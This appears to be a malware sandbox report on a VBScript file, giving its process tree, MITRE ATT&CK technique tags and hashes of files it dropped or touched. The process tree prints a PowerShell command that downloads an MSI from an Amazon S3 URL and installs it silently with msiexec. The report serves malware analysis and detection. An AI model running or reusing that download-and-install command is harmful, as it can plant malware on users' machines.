"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:508

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4192

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1792

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\HomeWellCareServices.vbs"
1⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:4740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "& {mkdir C:\\Temp -Force 2>$null; curl.exe -L --ssl-no-revoke 'https://s-14billmondy.s3.us-east-2.amazonaws.com/BillyMonday.msi' -o C:\\Temp\\patch.msi; msiexec.exe /i 'C:\\Temp\\patch.msi' /qn /norestart}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2952
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L --ssl-no-revoke https://s-14billmondy.s3.us-east-2.amazonaws.com/BillyMonday.msi -o C:\\Temp\\patch.msi
    3⤵
    PID:4536
- - C:\Windows\system32\msiexec.exe
    "C:\Windows\system32\msiexec.exe" /i C:\\Temp\\patch.msi /qn /norestart
    3⤵
    PID:2064

C:\Windows\System32\Notepad.exe
"C:\Windows\System32\Notepad.exe" C:\Users\Admin\Downloads\HomeWellCareServices.vbs
1⤵
- Opens file in notepad (likely ransom note)
PID:812

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

patch.msi

Path C:\Temp\patch.msi
Size 298B
SHA256 7e3f54a0d6e81a0047edcade6699d1037c61da6d80c542ac6077c963ff57cd0a
MD5 4e186598f140682373ac85427372ca12
SHA1 c13ebd2c96512337efafec3f91b4d233ebb27272
SHA512 979e0cd3b9e584f5ca877b808c0709549f20efc2f502f4f1a5be436c30b4c64c0b56cba463afe24fcdb37256dfcf1b914ca219d7c64325796546b499b2e81564
TLSH
T122E0EB2623CCFC3D4760A9E0AB1F8276FB90003C65C034320DD062D32B566C44C08B31
MD5 SHA1 SHA512 TLSH

Submit Download

patch.msi

Path C:\Temp\patch.msi
Size 298B
SHA256 38eb34bfd81c1ee44088a6afbdea04eb97d01e9cdbc3a1cea463661295ab343a
MD5 d059042622ae18522da2e356ef570c26
SHA1 ceaa6422c1e2d42538ae55c6267dff35ad6a18ba
SHA512 ed1af5904e72ef220d3a53abf663ce27c903d451ae7b935e10e66fcdfa4af2835dce35029d1bf949ef88eb962ee87fd2829d634a87bc3731553ad4ade537543b
TLSH
T17FE0C2512340E8054656813AEEBED672AB590235B2C5253099A44D976F970948C29628
MD5 SHA1 SHA512 TLSH

Submit Download

patch.msi

Path C:\Temp\patch.msi
Size 298B
SHA256 b85826f32291061f66ee86e079b6afe461d195a5c897eb81201897f348e2f4fc
MD5 33b959ea46508bda96a9d6bc872d96c1
SHA1 d6f00840ca30f0c974fa6ba2cd8fd1bd82347a22
SHA512 df3c0e6695781e4f1d915cae66721ca93ff7a190239f5626dba0e515589446d0dfda13fb9899f2e7dad9fc35d2c3ac280f33078c2543d71ec22342833377ca30
TLSH
T1A6E0EB26A300B80E936102BCAB2BE835BF844734E6C0223868E755B71BC6CD08C14634
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
TLSH
T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

c0f0d05a-8ed7-4ec7-b204-e8669e5c6ef2.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\c0f0d05a-8ed7-4ec7-b204-e8669e5c6ef2.tmp
Size 105KB
SHA256 8bd193269cbc0101b18807144d6cd741576381f849ecee6df4fd3079b1e2a2ea
MD5 7f4cc8bd47cae9e9cfcbdc3a9dea31d4
SHA1 6406135db9fdcf767dc9e78333ef0cb8dfd551a1
SHA512 894acd81265a2f42a77360eaacfcdb7e50c7d9b0a2718871318cc1ab538e27cb24b8d3dba4cdc1a6de030a8f0012aac3b2f7e8fbaaf939ef83c5f7ce1469a61f
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7S:fwUQC5VwBIiElEd2K57P7S
TLSH
T1A2B3B931457E36BF26E93EE828CF1511B84F3912664895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 39b8627875fea5ac5c5bfb887da12c15116e3fe81f200852c71d5699102c9044
MD5 e3962be2eb3bd350a67bf6309159a1cc
SHA1 c10632202b95ed6f7f4475b6483bf5196e4c5578
SHA512 d12d4acc23b51c071fbc9bf4db2f0575a6b43ec7894b272035e4c01dfce30099cd3ef90a1009dd1e6284cfbcf7a37fd3b79490739946700a2c61ec578374cbe6
TLSH
T173D08C677A0E7815E72F8231A413E360A76B4072A5629702F324C81DA9BC8D85BE63D7
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 a59087fbda784cffb013f4e2a0bf13a7fca483c48e8a7fc15fa022402eb25d72
MD5 dd54db185d82309b854bfa7657ba4600
SHA1 d01c14e8b4dec85ed2e1671545a868fd7ad4fa95
SHA512 f014ab84dd934b90e006883b74ad349d05f60071e57d2cf0bdf8a9bce118654c92139263e082094b602f6900a71e9a7848754994a2ea88642b2376121b581d07
TLSH
T165D08067354D7815E71F42319413D350576B4072A562D702F314C41D957C4D857D53D7
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 16a01e567330b129b787a6d2e0d74f117882f2c34592365a5a557b434ef63a87
MD5 94a05d7cdbd98c2e73c4649f12c8f2d2
SHA1 f669279c8bcf6e47519febdee623ca945fac3e8f
SHA512 f1f75dd09e0beb7b2bae3a1fac5cc7eedb4e4f4c19e9864e278976974dff9b7ad11828450625f659954ab16f62da002ba6859202bc47fa5d73b4f9124c8e8ca0
TLSH
T1CA6170394B134883F32B02F0F1C2162639B381940AA79E4A3D64C9FD691DB26CCD92CD
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe58894f.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe58894f.TMP
Size 3KB
SHA256 21444e8aea7ef9195977b20ad6eae05d0b4d8a322e947fbc67d162886593e60f
MD5 10451742c149f984d46a3bdd87c74a79
SHA1 ec6211c7c7045e53bc4c2817363789064f0b2c3b
SHA512 80b9cf17ce487c9132e13184829ff1197ff36a9ec82a8c41b1fc5e9465b6ad6db65e4b0352506a96f2d5e2c9e8622d39ccc655a0b2d6b0f40fd21f0b1fd30db4
TLSH
T1156172394B134883F32B02F0F4C2162A357381940AA79D463D5489FD691DB26CCD92CD
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 06d2036812bed94a6ffb1e34b4c6904c61de875b19231a9f145237d23d2ecf2f
MD5 b8cd7a0c6ff91289e7003399f27327ff
SHA1 b88d075afe7c0fccf5da4e0cb1a8d8592bebe960
SHA512 c7527f5f0a9d2ca1eee8027c747079b46f72dea4de9d3423fb78f5f8d0e5013af5efe31926f8d1b0a7f22d78925e1efcca35179ffa9a919fe87428ce362399e4
TLSH
T18A116DF783E585AE8A0156F0AA14AE2BCE1D0911431C7C59C5D4FF2793E3475D10165B
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 fd18d84ff6134f8d0c4a6ed24ae9bb455114049caee28a71060354631987911b
MD5 f4981b4fd61614c11ff0d48268b534df
SHA1 5ac2e6cfe09069829a8d73f6e45c2294e332c9c9
SHA512 6f216eea7db8fe88e45c124d1b4aa804a4add7bf2c2ac29d8082544ff40bbb327afd5cb5e991e9f17578b380d3a1a10a04de76a77f95320da2e9cdee08d87db4
SSDEEP 192:sxZnRHyM/jK1Ml8MkI/f7sR/lIdpjqHW6+WN5Krg/YHyHqCIgrJ:sxZn5MI/f7sR/W2Hb5N/d9
TLSH
T15E52F9166A349977CCDBD209FA55BF53D6F91572E2900E48A9FCCA0C04E6AED230781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 2c5f3780cdba4533a62a02a154a87bb58a4de9865546c452ab679f585a656002
MD5 237e4a59e6663bf522c06a0645e0c31b
SHA1 4a1ef17064d10e8c3dd1dd95087e606a540b3897
SHA512 55dcf89e76c0fe80cb7b0cf72638617c635d8849bf49c057ca8cd5e6dd3f31f09b604200a1ddff9b042bb5cad4a084b796b9e5ba6d3c6d66ace45bdf68f63b30
SSDEEP 192:sxZnRHyM/jK1Ml8M9I/f7sTsLIdp9EYHW6+WN5Krg/YH92ICIg5+J:sxZn51I/f7sTsUCYHb5N/ps
TLSH
T1F452D7166A349977CCDBD209FA45BF53D6F91572D2900E48AAFCCA0C04E6AED231781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 6edf9df3573d7b5dac443165a73d2e425f676d57004bd6056edc2f99274b15d2
MD5 eaa40e504eacd286218b33c1444a11b3
SHA1 2adbfceb80bf9f348df88d0ea3082c7cc14bf3cc
SHA512 b1d09c34f9fa2ee84c5a59519785440c0c8d91a5643320b0024ff6a8f6bd25d6762ad603dfa5fe4b12e7a3d72fc9239b0de9e3bebd3ab3c73c1d835e8d35d707
SSDEEP 192:sxZnRHyM/jK1Ml8UQe9I/f7sTsLIdp9EYHW6+WN5Krg/YH9nICIg5+J:sxZn5q4I/f7sTsUCYHb5N/gs
TLSH
T1D052D8166A349977CCDBD209F955BF53D6F91472E2900E48AAFCCA0C04E6AED231781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 30KB
SHA256 7826de4e9095a10b62d6cb25a39f9f98fe606b48af0b8a3acc00bdc61f0b0a2d
MD5 6f100b4440d4f1987ddd393e602476cb
SHA1 4d2d42769acec8ebe917c06fdd1f49b7cd7be6a6
SHA512 8cc7d8b672965376891104af9ac4009923952e20af86a2cfee70ead8ec1bc2e57d55de840f223b8d07bf85e3e12ae916db2dac9b718ef2b47412f35dad52bdd7
SSDEEP 768:HeUZYTMWvg0Po8F1+UoAYDCx9Tuqh0VfUC9xbog/OVOeLlPZ4RgroVE0l:HeUZYTMWvg0Pou1ja7eLZmRr9l
TLSH
T1D7D20B3F280CCB7E4F844E5DEC2A6F963DD801CB9A584D5447FA894C02CB6EB512B59B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 6KB
SHA256 bbf769946860ec01725833117672f08a77b8f4533a88703fbf20278aa7d75108
MD5 2e7502362cb54cadd4863d673c979515
SHA1 808f190280a597503f2fde522628298508a82c02
SHA512 8cc33e64a8c472c577cfc7416bd99e2adcb5696bc94bcb38566e3aec3d74fd428eb35b2b4404ecee0977b8be9b76517ec5d5d38636f197d12609b1bbe2d42cfb
SSDEEP 96:KA1eK2AUkQKJW6+DuKY033yKUAyGbOKUoY:E2bppRdB
TLSH
T171D1384A70BA12413C7D2A489254975B8FC271633228B42B7FBD41B28E67E21DDFD9CD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

362ac1cd-8097-47a9-a37c-5b3fa9f7d336.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\362ac1cd-8097-47a9-a37c-5b3fa9f7d336.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 19KB
SHA256 84cccec368fba0f1fa58143957a4a2de8f25062526ec394451402f3c9faeaad1
MD5 241e367d8747cf4fb9ab9e9e45bcb142
SHA1 40e5cb79a48e7b82baa92b90595345df8249be5f
SHA512 559f57f22c3f8f2ee9d4142b5db5438d3595d315c445d6e25c61427a1f2aeb960fb7373b80ed04744b3f41bf1afdcd54178e93efacb84aa0bdae9f951c85a3ff
SSDEEP 384:lZcIhsNQJ0b5AzX5od+685X8tJrWUnOObjI9G6w77:dhUoO0GhWs29M7
TLSH
T181927D32A838AD7659E7F555F44B36134FF8A177D7882FC892EC9B1C019A5AC031AC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 b0da4da576c04ceca2c414a5e297ef431a6b48c91cbe7d0b20d95d1b0421bffb
MD5 615132fa6c417da947391782f321294c
SHA1 dd23de9179abfa1c64d6e5e4c029cc1ab967851a
SHA512 be48d588c2a8cf6a1cf3984b25825e7a8fd2b77e4f26be9461180ec32a6269afa93db95e51fe2842a629ad436641d5713bec69bd9cc0298894e62b1c7b92b253
SSDEEP 384:UiF2ZcImSsNQ8TUNTUlIlQ0xpAzX5od+685X8tJrBUnOObjI9G6w77:vFkvdwgfoO0GhBs29M7
TLSH
T164D239F258D78936D9AE9743B77E2E024EBCD067F6845A84B3D85A0CCC561BFC306816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 6684ddd594050b6f453de4178bb5276bf6059a78847a161d3bb627af2c51f43e
MD5 49d774e4f9d8ea4c314189acae126798
SHA1 a63edcb9133b4db3127870273bfd577e0d22d350
SHA512 590680cfc9c84331271939ee390c6ac6f8c3769144cf35fc417834b48d229e2786b83d501bb3104d85716108fe246f7d1bd8acf4daf2fd23f145f803124bcb1d
SSDEEP 384:UiFiZcImSsNQ8TUNTUlIl00xpAzX5od+685X8tJraUnOObjI9G6w77:vFQvdwgPoO0Ghas29M7
TLSH
T107D23AF258D78936D9AE9743B77E2E024EBCD067F6845A84B3D85A0CCC561BFC306816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 44a9080ea1915db5c047d94721f19d85829ece30585b02d597f57377f59caffd
MD5 c3fd980106fb407d299ed3f1d7eb35e4
SHA1 88023def7bd499681aec86054b5eb918e4a22e6b
SHA512 3fd2eb6f6b6d8820c28b047bce743ecbf2eb031f1e1c8b2b418e0a95b16c9b0f620e1fcc20984ee909de83c9f9806825fe5c4212b1f476ba496cc68328ddb5de
SSDEEP 192:yONo61VWQmiUyaSgGX5Obd+jqjzorvmk/ao3FOgU6:yONo6WCgGX5od+68UOOgU6
TLSH
T12902D935A8687C6B8EE3BE49B44737135FA9217BEA542F84D6EC1B1C00D769C2316C27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 2c10bc18eeb02b0ac20e8a0821a8440322e0bbab9993776f5aa88b7b6518a35b
MD5 700e69616e2568cad3b2b26596a0be1b
SHA1 e18e966c3b5ed629f05f0f819cf762e2e7563e85
SHA512 54610b61291c07185b9a674ad7f299bcbc9304f97d5e7b02f8182e695a024f332ccad5bd12a866572344136b32dcec07a2c0ea3a014866ec9476d625854aaa67
SSDEEP 192:aONh61rWQmiUy2SgGX5Obd+jqjzorvmsX8ySJrljJUcq5U6:aONh6cMgGX5od+685X8tJr3UnU6
TLSH
T122120A32A468BC6B5DD2B584F44B32135FA86127DB497FC4D2EC2B1C00DB6AC135AC17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 20KB
SHA256 4dd81beb8e2dde00c62de8c3fc4d80dfbda2a1e2070e9e906cde092d09a0ab97
MD5 740e13043d729f19fdd8c43fc5848092
SHA1 a9690a8aa889c517bbb223a117160aa150f2159b
SHA512 6c99b275ff6989bdb290789be98b89f218eb3cb50d2749c26cfaaddbddf12a8f78b7c6d99977e84b8fd0f2d0ccd873b3b0ac1fbf62478c008f72d3ce03f603a4
SSDEEP 384:9ZcIhsNQ00b5AzX5od+685X8tJrWUnOObjI9G6w77:lhroO0GhWs29M7
TLSH
T177927D32A878AD7659E7F555F44B36134FF8A07BD7882FC892EC9B0C059A5AC031AC17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

b47f7792-2824-4918-bc55-f654248dd521.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\b47f7792-2824-4918-bc55-f654248dd521.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 305487d4d752000ab785ec14db2389dfe84fa42b69b01f6ef372586eab340e3c
MD5 98725f2f21ebc79af638d27d93158bed
SHA1 6111a9884661002de78b844446fef8665776f5e7
SHA512 f344791ecc94009f5be236d9934627dec182f800ffb474eb7342280c94575f687a0347b0cef28cf85888cc90d2dd4c4487273c73a4e3a251ef0f9018a32c32df
TLSH
T16E41189CBAED1158B3B76F16ABF6A86E483E78372E07D55E10110E4E4A63B40CC61737
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 90a965e29213c59d56a04d4ab9caf5fee8d1f740f86004b5f8bd10f8abc28bc5
MD5 4c792b01989feecaa346fde7ffef564b
SHA1 a55851669f5544fde5d9c1c29818021a54bbc05a
SHA512 f2a1d268d4b205e302beed8a1a3ffa487743725b60b181344c0d23125d9423fead8778fb44f491640fb6b570460420d6803492b256d5812216253f7726207cbd
TLSH
T1A6119323B38C8920CC96163A408D9C2172B282CB809EDF9F6BC0D204A0BF488CB61290
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 96c081de2cf2a981f2363bf842cfef5a2b7eb8a308a4583fa7e32683a97b633c
MD5 ef8d68fd9a3434fd858731ec9962ad8b
SHA1 87d87e1dc093a735aa8a2039f4030aec4fc03f2b
SHA512 7844e83f1bb9f25cce64ea9f08d35b76cf874dd0ecd09994ee1b6509b3e1713c54cdb23b895d1ab801e309fb8322de594ca09211c5b4ec15e65b36af4b878171
TLSH
T198117623F3DC8A21CC96163A509D9C6172B683DB819EDF9F6BC0D205A5BF589CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_3ikmzhdv.1dv.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3ikmzhdv.1dv.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

HomeWellCareServices.vbs

Path C:\Users\Admin\Downloads\HomeWellCareServices.vbs
Size 7KB
SHA256 65c8d6ad30dc26ca1e382f9359baf7c57dea890fe1d2ee0d2cd3e8737168fc3e
MD5 80f6c99e1c1f2dd22edebfddc07c41b5
SHA1 816c872ec2814c9716b2fe04d6ee0ffc6212bb26
SHA512 1be73422f7cd4f9d5422881885d8f688c55247c006e2941d5165fd57340f4199dd70400480daba73138da7d25005144fe68ffdcc7e322372aa8ae60df886aaef
SSDEEP 96:olVJPIfAZ/LJdGwkqHqS31rU/muywvDX4FF/YqAc459R4Vi:EdbpXLuzvcFtzq59RJ
TLSH
T17EF188C65C49E8B8C77FF56423089C4AC9CE8617112E9881BBDF2D45BB3A85DB5BD8C0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1884-244-0x000001C76E800000-0x000001C76E822000-memory.dmp

Download

memory/2952-326-0x000001F15D880000-0x000001F15DA9C000-memory.dmp

Download